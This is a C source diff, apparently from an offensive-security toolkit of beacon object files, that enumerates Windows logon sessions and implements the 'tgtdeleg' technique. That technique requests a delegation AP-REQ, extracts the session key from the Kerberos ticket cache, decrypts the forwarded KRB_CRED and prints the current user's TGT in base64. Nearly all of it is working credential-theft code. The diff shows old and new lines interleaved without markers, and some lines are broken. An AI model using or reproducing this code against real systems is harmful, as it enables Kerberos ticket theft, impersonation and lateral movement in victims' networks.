PRINT(dispatch, "LogonId : %lx:0x%lx\n", data.LogonId.HighPart, data.LogonId.LowPart);
PRINT(dispatch, "Session : %ld\n", data.Session);
if (ADVAPI32$ConvertSidToStringSidW(data.Sid, &sid)) {
PRINT(dispatch, "UserSID : %s\n", GetNarrowString(sid));
} else {
PRINT(dispatch, "UserSID : -\n");
void PrintLogonSessionData(SECURITY_LOGON_SESSION_DATA data, char **sessionString)
{
char *fmt = "UserName : %s\n"
"Domain : %s\n"
"LogonId : %lx:0x%lx\n"
"Session : %ld\n"
"UserSID : %s\n"
"Authentication package : %s\n"
"LogonType : %s\n"
"LogonTime (UTC) : %d/%d/%d %d:%d:%d\n"
"LogonServer : %s\n"
"LogonServerDNSDomain : %s\n"
"UserPrincipalName : %s\n";
ANSI_STRING userName = {0};
ANSI_STRING domain = {0};
ANSI_STRING authPack = {0};
ANSI_STRING logonServer = {0};
ANSI_STRING logonServerDNSDomain = {0};
ANSI_STRING upn = {0};
NTDLL$RtlUnicodeStringToAnsiString(&userName, &data.UserName, TRUE);
NTDLL$RtlUnicodeStringToAnsiString(&domain, &data.LogonDomain, TRUE);
NTDLL$RtlUnicodeStringToAnsiString(&authPack, &data.AuthenticationPackage, TRUE);
NTDLL$RtlUnicodeStringToAnsiString(&logonServer, &data.LogonServer, TRUE);
NTDLL$RtlUnicodeStringToAnsiString(&logonServerDNSDomain, &data.DnsDomainName, TRUE);
NTDLL$RtlUnicodeStringToAnsiString(&upn, &data.Upn, TRUE);
char *sid = NULL;
if (!ADVAPI32$ConvertSidToStringSidA(data.Sid, &sid))
{
sid = "-";
}
PRINT(dispatch, "Authentication package : %.*s\n", data.AuthenticationPackage.Length / (int)sizeof(char),
GetNarrowString(data.AuthenticationPackage.Buffer));
char* logonType = GetLogonTypeString(data.LogonType);
PRINT(dispatch, "LogonType : %s\n", logonType);
char *logonType = NULL;
GetLogonTypeString(data.LogonType, &logonType);
SYSTEMTIME st_utc = ConvertToSystemtime(data.LogonTime);
PRINT(dispatch, "LogonTime (UTC) : %d/%d/%d %d:%d:%d\n", st_utc.wDay, st_utc.wMonth, st_utc.wYear,
st_utc.wHour, st_utc.wMinute, st_utc.wSecond);
PRINT(dispatch, "LogonServer : %.*s\n", data.LogonServer.Length / (int)sizeof(char),
GetNarrowString(data.LogonServer.Buffer));
PRINT(dispatch, "LogonServerDNSDomain : %.*s\n", data.DnsDomainName.Length / (int)sizeof(char),
GetNarrowString(data.DnsDomainName.Buffer));
PRINT(dispatch, "UserPrincipalName : %.*s\n", data.Upn.Length / (int)sizeof(char),
GetNarrowString(data.Upn.Buffer));
int size = _strlen(fmt) +
userName.Length +
domain.Length +
24 + 16 +
_strlen(sid) +
authPack.Length +
32 +
logonServer.Length +
logonServerDNSDomain.Length +
upn.Length + 1;
if (logonType != NULL)
{
size += _strlen(logonType);
}
*sessionString = MSVCRT$malloc(size * sizeof(char));
if (*sessionString == NULL)
{
goto end;
}
HRESULT result = _StringCchPrintfExA(*sessionString, size, NULL, NULL, STRSAFE_IGNORE_NULLS, fmt,
userName.Buffer,
domain.Buffer,
data.LogonId.HighPart, data.LogonId.LowPart,
data.Session,
sid,
authPack.Buffer,
logonType,
st_utc.wDay, st_utc.wMonth, st_utc.wYear, st_utc.wHour, st_utc.wMinute, st_utc.wSecond,
logonServer.Buffer,
logonServerDNSDomain.Buffer,
upn.Buffer);
if (FAILED(result))
{
MSVCRT$free(*sessionString);
*sessionString = NULL;
}
end:
NTDLL$RtlFreeAnsiString(&userName);
NTDLL$RtlFreeAnsiString(&domain);
NTDLL$RtlFreeAnsiString(&authPack);
NTDLL$RtlFreeAnsiString(&logonServer);
NTDLL$RtlFreeAnsiString(&logonServerDNSDomain);
NTDLL$RtlFreeAnsiString(&upn);
if (logonType != NULL)
{
MSVCRT$free(logonType);
}
}
+176 -78
View File
@@ -1,36 +1,46 @@
#include "tgtdeleg.h"
LONG RequestApReq(char* spn, PUCHAR* apreq, PULONG apreqSize, BOOL checkDelegate) {
LONG RequestApReq(char *spn, PUCHAR *apreq, PULONG apreqSize, BOOL checkDelegate)
{
CredHandle hCred;
TimeStamp timeStamp;
SECURITY_STATUS status = SECUR32$AcquireCredentialsHandleA(NULL, "Kerberos", SECPKG_CRED_OUTBOUND, NULL, NULL, 0,
NULL, &hCred, &timeStamp);
if (status == SEC_E_OK) {
if (status == SEC_E_OK)
{
CtxtHandle hCtx;
SecBuffer secBuf = {0, SECBUFFER_TOKEN, NULL};
SecBufferDesc secBufDesc = {SECBUFFER_VERSION, 1, &secBuf};
ULONG contextAttr;
status = SECUR32$InitializeSecurityContextA(
&hCred, NULL, (SEC_CHAR*)spn, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE | ISC_REQ_MUTUAL_AUTH, 0,
&hCred, NULL, (SEC_CHAR *)spn, ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_DELEGATE | ISC_REQ_MUTUAL_AUTH, 0,
SECURITY_NATIVE_DREP, NULL, 0, &hCtx, &secBufDesc, &contextAttr, NULL);
if (status == SEC_E_OK || status == SEC_I_CONTINUE_NEEDED) {
if (status == SEC_E_OK || status == SEC_I_CONTINUE_NEEDED)
{
BOOL condition = checkDelegate ? (contextAttr & ISC_REQ_DELEGATE) : TRUE;
if (condition) {
if (condition)
{
PUCHAR out = (PUCHAR)MSVCRT$calloc(secBuf.cbBuffer, sizeof(UCHAR));
if (out != NULL) {
if (out != NULL)
{
_memcpy(out, secBuf.pvBuffer, secBuf.cbBuffer);
*apreq = out;
*apreqSize = secBuf.cbBuffer;
if (secBuf.pvBuffer) {
if (secBuf.pvBuffer)
{
SECUR32$FreeContextBuffer(secBuf.pvBuffer);
}
status = 0;
} else {
}
else
{
status = STATUS_MEMORY_NOT_ALLOCATED;
}
SECUR32$DeleteSecurityContext(&hCtx);
} else {
status = SEC_E_TARGET_UNKNOWN; // not allowed to delegate
}
else
{
status = SEC_E_TARGET_UNKNOWN; // not allowed to delegate
}
}
SECUR32$FreeCredentialsHandle(&hCred);
@@ -38,22 +48,27 @@ LONG RequestApReq(char* spn, PUCHAR* apreq, PULONG apreqSize, BOOL checkDelegate
return status;
}
NTSTATUS GetKeyFromCache(char* target, LONG encType, PUCHAR* key, PULONG keySize) {
NTSTATUS GetKeyFromCache(char *target, LONG encType, PUCHAR *key, PULONG keySize)
{
HANDLE hLsa;
*key = NULL;
NTSTATUS status = GetLsaHandle(FALSE, &hLsa);
if (NT_SUCCESS(status)) {
if (NT_SUCCESS(status))
{
ULONG authPackage;
LSA_STRING krbAuth = {.Buffer = "kerberos", .Length = 8, .MaximumLength = 9};
status = SECUR32$LsaLookupAuthenticationPackage(hLsa, &krbAuth, &authPackage);
if (NT_SUCCESS(status)) {
WCHAR* wTarget = GetWideString(target);
if (wTarget != NULL) {
if (NT_SUCCESS(status))
{
WCHAR *wTarget = GetWideString(target);
if (wTarget != NULL)
{
USHORT dwTarget = (_wcslen(wTarget) + 1) * sizeof(WCHAR);
ULONG requestSize = dwTarget + sizeof(KERB_RETRIEVE_TKT_REQUEST);
PKERB_RETRIEVE_TKT_REQUEST request =
(PKERB_RETRIEVE_TKT_REQUEST)MSVCRT$calloc(requestSize, sizeof(KERB_RETRIEVE_TKT_REQUEST));
if (request != NULL) {
if (request != NULL)
{
request->MessageType = KerbRetrieveEncodedTicketMessage;
request->CacheOptions = KERB_RETRIEVE_TICKET_USE_CACHE_ONLY;
request->EncryptionType = encType;
@@ -66,36 +81,54 @@ NTSTATUS GetKeyFromCache(char* target, LONG encType, PUCHAR* key, PULONG keySize
status = SECUR32$LsaCallAuthenticationPackage(hLsa, authPackage, request, requestSize, &response,
&requestSize, &protocolStatus);
MSVCRT$free(request);
if (NT_SUCCESS(status)) {
if (NT_SUCCESS(protocolStatus)) {
if (requestSize > 0) {
char* out = (char*)MSVCRT$calloc(response->Ticket.SessionKey.Length, sizeof(char));
if (out != NULL) {
if (NT_SUCCESS(status))
{
if (NT_SUCCESS(protocolStatus))
{
if (requestSize > 0)
{
char *out = (char *)MSVCRT$calloc(response->Ticket.SessionKey.Length, sizeof(char));
if (out != NULL)
{
_memcpy(out, response->Ticket.SessionKey.Value,
response->Ticket.SessionKey.Length);
response->Ticket.SessionKey.Length);
*key = out;
*keySize = response->Ticket.SessionKey.Length;
} else {
}
else
{
status = STATUS_MEMORY_NOT_ALLOCATED;
}
SECUR32$LsaFreeReturnBuffer(&response);
} else {
}
else
{
status = ADVAPI32$LsaNtStatusToWinError(status);
}
} else {
}
else
{
status = ADVAPI32$LsaNtStatusToWinError(status);
}
} else {
}
else
{
status = ADVAPI32$LsaNtStatusToWinError(status);
}
} else {
}
else
{
status = STATUS_MEMORY_NOT_ALLOCATED;
}
MSVCRT$free(wTarget);
} else {
}
else
{
status = STATUS_MEMORY_NOT_ALLOCATED;
}
} else {
}
else
{
status = ADVAPI32$LsaNtStatusToWinError(status);
}
SECUR32$LsaDeregisterLogonProcess(hLsa);
@@ -104,24 +137,31 @@ NTSTATUS GetKeyFromCache(char* target, LONG encType, PUCHAR* key, PULONG keySize
return status;
}
NTSTATUS KerberosDecrypt(DWORD keyUsage, KERB_ENCRYPTION_KEY* key, ASN1octetstring_t* in, ASN1octetstring_t* out) {
NTSTATUS KerberosDecrypt(DWORD keyUsage, KERB_ENCRYPTION_KEY *key, ASN1octetstring_t *in, ASN1octetstring_t *out)
{
NTSTATUS status;
PKERB_ECRYPT pEcrypt;
PVOID pContext;
status = CRYPTDLL$CDLocateCSystem(key->keytype, &pEcrypt);
if (status == 0) {
if (status == 0)
{
status = pEcrypt->Initialize(key->keyvalue.value, key->keyvalue.length, keyUsage, &pContext);
if (status == 0) {
if (status == 0)
{
out->length = in->length;
out->value = MSVCRT$calloc(out->length, sizeof(unsigned char));
if (out->value != NULL) {
status = pEcrypt->Decrypt(pContext, in->value, in->length, out->value, (DWORD*)&out->length);
if (status != 0) {
if (out->value != NULL)
{
status = pEcrypt->Decrypt(pContext, in->value, in->length, out->value, (DWORD *)&out->length);
if (status != 0)
{
MSVCRT$free(out->value);
out->value = NULL;
}
} else {
}
else
{
status = KERNEL32$GetLastError();
}
pEcrypt->Finish(&pContext);
@@ -132,144 +172,202 @@ NTSTATUS KerberosDecrypt(DWORD keyUsage, KERB_ENCRYPTION_KEY* key, ASN1octetstri
}
// kekeo/modules/kull_m_memory.c
PVOID MemorySearch(LPCVOID pattern, SIZE_T pSize, LPCVOID buf, SIZE_T bSize) {
PVOID MemorySearch(LPCVOID pattern, SIZE_T pSize, LPCVOID buf, SIZE_T bSize)
{
BOOL status = FALSE;
PBYTE result = NULL;
PBYTE current = (PBYTE)buf + bSize;
PBYTE limit = current;
for (current = (PBYTE)buf; !status && (current + pSize <= limit); current++) {
for (current = (PBYTE)buf; !status && (current + pSize <= limit); current++)
{
status = !_memcmp(pattern, current, pSize);
}
if (status) {
if (status)
{
result = current - 1;
}
return result;
}
PBYTE SearchOID(LPCVOID data, SIZE_T size) {
PBYTE SearchOID(LPCVOID data, SIZE_T size)
{
byte krbv5[] = {0x06, 0x09, 0x2a, 0x86, 0x48, 0x86, 0xf7, 0x12, 0x01, 0x02, 0x02}; /* 1.2.840.113554.1.2.2 */
PBYTE res = (PBYTE)MemorySearch(krbv5, 11, data, size);
if (res != NULL) {
if (res != NULL)
{
res += 11;
}
return res;
}
void execute_tgtdeleg(WCHAR** dispatch, char* spn) {
void execute_tgtdeleg(WCHAR **dispatch, char *spn)
{
PUCHAR apreq;
ULONG apreqSize;
LONG status = RequestApReq(spn, &apreq, &apreqSize, TRUE);
if (status == 0) {
if (status == 0)
{
PBYTE tokID = SearchOID(apreq, apreqSize);
if (*(PUSHORT)tokID == 0x0001) {
if (*(PUSHORT)tokID == 0x0001)
{
PRINT(dispatch, "[*] Found the AP-REQ delegation ticket in the GSS-API output\n");
PKERB_AP_REQUEST apRequest;
KERBERR kerbError;
apreqSize -= (LONG)(tokID - (PBYTE)apreq);
ASN1module_t module = KRB5_Module_Startup();
if (module != NULL) {
if (module != NULL)
{
kerbError = KerbUnpackData(module, tokID + sizeof(SHORT), apreqSize, KERB_AP_REQUEST_PDU, &apRequest);
if (KERB_SUCCESS(kerbError)) {
if (KERB_SUCCESS(kerbError))
{
int apReqAuthType = apRequest->authenticator.encryption_type;
PRINT(dispatch, "[*] Authenticator etype: %s\n", GetEncryptionTypeString(apReqAuthType));
char *encTypeString = NULL;
GetEncryptionTypeString(apReqAuthType, &encTypeString);
if (encTypeString != NULL)
{
PRINT(dispatch, "[*] Authenticator etype: %s\n", encTypeString);
MSVCRT$free(encTypeString);
}
else
{
PRINT(dispatch, "[!] Unable to get encryption type.\n");
}
PUCHAR key;
ULONG keySize;
status = GetKeyFromCache(spn, apReqAuthType, &key, &keySize);
if (NT_SUCCESS(status)) {
if (NT_SUCCESS(status))
{
PRINT(dispatch, "[*] Successfully extracted the service ticket session key\n");
ASN1octetstring_t authenticatorPacked;
KERB_ENCRYPTION_KEY encKey = {
.keytype = apReqAuthType, .keyvalue.length = keySize, .keyvalue.value = key};
status = KerberosDecrypt(KRB_KEY_USAGE_AP_REQ_AUTHENTICATOR, &encKey,
&apRequest->authenticator.cipher_text, &authenticatorPacked);
if (NT_SUCCESS(status)) {
if (NT_SUCCESS(status))
{
PRINT(dispatch, "[*] Successfully decrypted authenticator\n");
KERB_AUTHENTICATOR* authenticator;
KERB_AUTHENTICATOR *authenticator;
kerbError = KerbUnpackData(module, authenticatorPacked.value, authenticatorPacked.length,
KERB_AUTHENTICATOR_PDU, &authenticator);
if (KERB_SUCCESS(kerbError)) {
if (authenticator->bit_mask & checksum_present) {
if (KERB_SUCCESS(kerbError))
{
if (authenticator->bit_mask & checksum_present)
{
// GSS_CHECKSUM_TYPE
if (authenticator->checksum.checksum_type == 0x8003) {
KERB_GSS_CHECKSUM* checksum =
(KERB_GSS_CHECKSUM*)authenticator->checksum.checksum.value;
if (authenticator->checksum.checksum_type == 0x8003)
{
KERB_GSS_CHECKSUM *checksum =
(KERB_GSS_CHECKSUM *)authenticator->checksum.checksum.value;
// GSS_C_DELEG_FLAG
if (checksum->GssFlags & 0x01) {
KERB_CRED* cred;
if (checksum->GssFlags & 0x01)
{
KERB_CRED *cred;
kerbError =
KerbUnpackData(module, checksum->DelegationInfo,
checksum->DelegationLength, KERB_CRED_PDU, &cred);
if (KERB_SUCCESS(kerbError)) {
if (KERB_SUCCESS(kerbError))
{
status = KerberosDecrypt(KRB_KEY_USAGE_KRB_CRED_ENCRYPTED_PART, &encKey,
&cred->encrypted_part.cipher_text,
&authenticatorPacked);
if (NT_SUCCESS(status)) {
if (NT_SUCCESS(status))
{
cred->encrypted_part.encryption_type = 0;
cred->encrypted_part.cipher_text =
*(ASN1octetstring_t*)&authenticatorPacked;
*(ASN1octetstring_t *)&authenticatorPacked;
PUCHAR encodedData;
ULONG encodedSize;
kerbError = KerbPackData(module, cred, KERB_CRED_PDU, &encodedSize,
&encodedData);
if (KERB_SUCCESS(kerbError)) {
if (KERB_SUCCESS(kerbError))
{
int b64Len = Base64encode_len(encodedSize);
char* encoded = (char*)MSVCRT$calloc(b64Len, sizeof(char));
if (encoded != NULL) {
char *encoded = (char *)MSVCRT$calloc(b64Len, sizeof(char));
if (encoded != NULL)
{
Base64encode(encoded, encodedData, encodedSize);
PRINT(dispatch, "[+] Successfully extracted TGT: %s\n",
encoded);
return;
MSVCRT$free(encoded);
} else {
return;
}
else
{
PRINT(dispatch, "[!] Could not allocate memory.\n");
}
MSVCRT$free(encodedData);
} else {
}
else
{
PRINT(dispatch, "[!] Failed to pack plain KRB_CRED: 0x%x\n",
kerbError);
}
} else {
}
else
{
PRINT(dispatch, "[!] Failed to decrypt KRB_CRED: 0x%x\n", status);
}
KerbFreeData(module, KERB_CRED_PDU, cred);
} else {
}
else
{
PRINT(dispatch, "[!] Failed to unpack KRB_CRED\n");
}
} else {
}
else
{
PRINT(dispatch, "[!] Missing delegation flag\n");
}
} else {
}
else
{
PRINT(dispatch, "[!] Wrong checksum type\n");
}
} else {
}
else
{
PRINT(dispatch, "[!] Missing checksum in the authentticator\n");
}
KerbFreeData(module, KERB_AUTHENTICATOR_PDU, authenticator);
} else {
}
else
{
PRINT("[!] Failed to unpack authenticator: 0x%x\n", kerbError);
}
MSVCRT$free(&authenticatorPacked);
} else {
}
else
{
PRINT(dispatch, "[!] Unable to decrypt authenticator: 0x%x\n", status);
}
MSVCRT$free(key);
} else {
}
else
{
PRINT(dispatch, "[!] Could not obtain the key from cache: 0x%x\n", status);
}
KerbFreeData(module, KERB_AP_REQUEST_PDU, apRequest);
} else {
}
else
{
PRINT(dispatch, "[!] Failed to unpack AP-REQ: 0x%x\n", kerbError);
}
KRB5_Module_Cleanup(module);
} else {
}
else
{
PRINT(dispatch, "[!] Could not create ASN.1 module\n");
}
MSVCRT$free(apreq);
} else {
}
else
{
PRINT(dispatch, "[!] Kerberos OID not found\n");
}
} else {
}
else
{
PRINT(dispatch, "[!] Failed to request AP-REQ: 0x%x\n", status);
}
}